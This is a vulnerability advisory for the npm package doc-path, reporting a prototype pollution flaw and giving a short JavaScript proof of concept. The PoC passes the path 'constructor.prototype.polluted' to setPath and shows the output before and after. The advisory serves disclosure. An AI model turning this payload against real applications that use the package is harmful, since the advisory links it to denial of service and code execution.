doc-path

vulnerability prototype pollution
severity 7.3
language javascript
registry npm

Description

doc-path is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var docPath = require("doc-path")
var obj = {}
console.log("Before : " + obj.polluted);
docPath.setPath(obj , "constructor.prototype.polluted", "Yes! Polluted");
var obj1 = {}
console.log("After : " + obj1.polluted);
  1. Execute the following commands in another terminal:
npm i doc-path # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Polluted